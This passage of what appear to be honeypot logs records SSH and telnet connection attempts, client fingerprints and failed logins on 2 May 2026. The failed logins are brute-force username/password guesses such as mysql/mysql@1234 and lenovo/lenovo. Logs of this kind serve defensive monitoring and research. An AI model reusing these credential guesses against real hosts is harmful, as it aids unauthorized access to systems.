{"eventid":"cowrie.session.connect","src_ip":"201.175.50.164","src_port":46528,"dst_ip":"10.17.0.5","dst_port":23,"session":"5508a11cb3f5","protocol":"telnet","message":"New connection: 201.175.50.164:46528 (10.17.0.5:23) [session: 5508a11cb3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:39.856881Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34814,"dst_ip":"10.17.0.5","dst_port":22,"session":"58d372eb8180","protocol":"ssh","message":"New connection: 176.65.132.254:34814 (10.17.0.5:22) [session: 58d372eb8180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:40.972670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:40.976893Z","src_ip":"176.65.132.254","session":"58d372eb8180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:41.059019Z","src_ip":"176.65.132.254","session":"58d372eb8180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:41.318902Z","src_ip":"176.65.132.254","session":"58d372eb8180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":32986,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c945eb51051","protocol":"telnet","message":"New connection: 134.209.8.29:32986 (159.203.135.109:23) [session: 1c945eb51051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:41.800258Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:42.404006Z","src_ip":"176.65.132.254","session":"58d372eb8180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33000,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9d2111aa4c","protocol":"telnet","message":"New connection: 134.209.8.29:33000 (159.203.135.109:23) [session: 7f9d2111aa4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:42.812765Z"}
{"eventid":"cowrie.session.closed","duration":0.4436984062194824,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:43.256324Z","src_ip":"134.209.8.29","session":"7f9d2111aa4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.844247341156006,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:43.789360Z","src_ip":"134.209.8.29","session":"7755bfbe2f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48700,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bc1860158af","protocol":"ssh","message":"New connection: 176.65.132.254:48700 (10.17.0.5:22) [session: 7bc1860158af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:45.239285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:45.281408Z","src_ip":"176.65.132.254","session":"7bc1860158af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:45.352498Z","src_ip":"176.65.132.254","session":"7bc1860158af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:45.739202Z","src_ip":"176.65.132.254","session":"7bc1860158af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:46.845866Z","src_ip":"176.65.132.254","session":"7bc1860158af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33008,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea49386da4a2","protocol":"telnet","message":"New connection: 134.209.8.29:33008 (159.203.135.109:23) [session: ea49386da4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:47.556969Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48704,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1b8da64c8b8","protocol":"ssh","message":"New connection: 176.65.132.254:48704 (10.17.0.5:22) [session: e1b8da64c8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:49.480598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:49.485835Z","src_ip":"176.65.132.254","session":"e1b8da64c8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:49.569533Z","src_ip":"176.65.132.254","session":"e1b8da64c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.10767340660095,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:49.720278Z","src_ip":"134.209.8.29","session":"d340a4103293","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:49.847965Z","src_ip":"176.65.132.254","session":"e1b8da64c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:51.348585Z","src_ip":"176.65.132.254","session":"e1b8da64c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56416,"dst_ip":"10.17.0.5","dst_port":22,"session":"f89bb9576f63","protocol":"ssh","message":"New connection: 176.65.132.254:56416 (10.17.0.5:22) [session: f89bb9576f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:53.640537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:53.645589Z","src_ip":"176.65.132.254","session":"f89bb9576f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:53.795631Z","src_ip":"176.65.132.254","session":"f89bb9576f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:54.053842Z","src_ip":"176.65.132.254","session":"f89bb9576f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:55.143861Z","src_ip":"176.65.132.254","session":"f89bb9576f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56418,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa650a926f6","protocol":"ssh","message":"New connection: 176.65.132.254:56418 (10.17.0.5:22) [session: 3aa650a926f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:57.873009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:57.880376Z","src_ip":"176.65.132.254","session":"3aa650a926f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:57.963701Z","src_ip":"176.65.132.254","session":"3aa650a926f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:58.239407Z","src_ip":"176.65.132.254","session":"3aa650a926f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:59.341115Z","src_ip":"176.65.132.254","session":"3aa650a926f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":46125,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc1c36e01e4","protocol":"ssh","message":"New connection: 205.254.166.101:46125 (159.203.135.109:22) [session: 4dc1c36e01e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:59.914409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:40:59.919826Z","src_ip":"205.254.166.101","session":"4dc1c36e01e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:00.131240Z","src_ip":"205.254.166.101","session":"4dc1c36e01e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:00.994454Z","src_ip":"205.254.166.101","session":"4dc1c36e01e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56420,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc6e12cf047","protocol":"ssh","message":"New connection: 176.65.132.254:56420 (10.17.0.5:22) [session: 7fc6e12cf047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:01.947412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:01.988687Z","src_ip":"176.65.132.254","session":"7fc6e12cf047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:02.218216Z","src_ip":"205.254.166.101","session":"4dc1c36e01e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:02.444798Z","src_ip":"176.65.132.254","session":"7fc6e12cf047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:02.721785Z","src_ip":"176.65.132.254","session":"7fc6e12cf047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59662,"dst_ip":"10.17.0.5","dst_port":23,"session":"75c051ee091f","protocol":"telnet","message":"New connection: 38.54.119.93:59662 (10.17.0.5:23) [session: 75c051ee091f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:03.689315Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:03.807176Z","src_ip":"176.65.132.254","session":"7fc6e12cf047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49006,"dst_ip":"10.17.0.5","dst_port":22,"session":"999e881c8c48","protocol":"ssh","message":"New connection: 176.65.132.254:49006 (10.17.0.5:22) [session: 999e881c8c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:06.145495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:06.151090Z","src_ip":"176.65.132.254","session":"999e881c8c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-c